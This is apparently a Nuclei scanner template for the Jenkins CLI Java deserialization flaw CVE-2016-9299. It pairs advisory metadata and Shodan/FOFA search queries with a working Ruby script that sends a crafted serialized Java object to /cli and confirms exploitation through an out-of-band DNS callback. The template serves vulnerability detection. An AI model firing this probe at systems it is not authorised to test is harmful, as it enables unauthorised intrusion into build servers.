id: CVE-2016-9299 info: name: Jenkins CLI - HTTP Java Deserialization author: iamnoooob,rootxharsh,pdresearch severity: critical description: | The remoting module in Jenkins before 2.32 and LTS before 2.19.3 allows remote attackers to execute arbitrary code via a crafted serialized Java object, which triggers an LDAP query to a third-party server. impact: | Attackers can execute arbitrary code through Java deserialization, potentially leading to complete Jenkins server compromise and unauthorized access to all build systems and secrets. remediation: | Update Jenkins to version 2.32 or LTS 2.19.3 or later that fixes the deserialization vulnerability. reference: - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb - https://nvd.nist.gov/vuln/detail/CVE-2016-9299 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2016-9299 cwe-id: CWE-90 epss-score: 0.8925 epss-percentile: 0.99555 cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:* metadata: max-request: 1 verified: true vendor: jenkins product: jenkins shodan-query: product:"jenkins" fofa-query: icon_hash=81586312 tags: cve,cve2016,rce,deserialization,vkev,vuln variables: oast: "{{interactsh-url}}" code: - engine: - rb - ruby # requires ruby to be pre-installed on system running nuclei source: | require 'socket' require 'base64' # Define environment variables for host details (make sure they are properly set in your environment) $Hostname = ENV['Hostname'] $Host = ENV['Host'] $Port = ENV['Port'] interactsh = (ENV['oast']).ljust(45,'/') url_dns = "aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002d657761776a7763737778766b6a66737763716c69316673737632357271306438642e6f6173742e6f6e6c696e6574000071007e0005740004687474707078740034687474703a2f2f657761776a7763737778766b6a66737763716c69316673737632357271306438642e6f6173742e6f6e6c696e6578" $decoded_url_dns = [url_dns].pack("H*") $decoded_url_dns = $decoded_url_dns.gsub! "ewawjwcswxvkjfswcqli1fssv25rq0d8d.oast.online", interactsh # Step 1: Send the download request without waiting for a response or closing the socket def send_download_request(host, port) download_socket = TCPSocket.new(host, port) download_request = <<~REQ POST /cli HTTP/1.1 Host: #{$Hostname} Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e93 Side: download Content-Type: application/x-www-form-urlencoded Content-Length: 0\r\n REQ #puts "Sending Download Request..." download_socket.write(download_request) # Return the open socket so we can read from it later return download_socket end # Step 2: Send the upload request def send_upload_request(host, port) socket = TCPSocket.new(host, port) # Base64 decoded payload for upload request chunked_payload = "<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=\x00\x00\x00\x00\x01\x55" + $decoded_url_dns upload_request = <<~REQ POST /cli HTTP/1.1 Host: #{$Hostname} Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e93 Side: upload Content-Type: application/octet-stream Content-Length: #{chunked_payload.bytesize}\r\n REQ #puts "Sending Upload Request..." socket.write(upload_request) # Send the binary data (payload) socket.write(chunked_payload) # Read and print the response for the upload request response = socket.readpartial(1024) #puts "Received from server (upload response): #{response}" # Close the socket for upload request socket.close end # Step 3: After upload request, read the download request's response def read_download_response(socket) #puts "Reading Download Request Response..." response = socket.readpartial(1024) socket.close response end # Combined steps to perform the operations in the required order # Step 1: Send download request (don't wait for response, keep the socket open) download_socket = send_download_request($Host, $Port) # Step 2: Send upload request send_upload_request($Host, $Port) # Print the download response puts read_download_response(download_socket) matchers: - type: dsl dsl: - "contains(response,'hudson.remoting.UserRequest')" - 'contains(interactsh_protocol, "dns")' condition: and # digest: 4a0a00473045022100fcc6ae3622577825ce01a9b5534a75528549cdae2bc2fae0273f4d4dc620095d02206df02471133093030aba0967e89bdcca14c1687c2520d71cdc759539a4de6f71:922c64590222798bb761d5b6d8e72950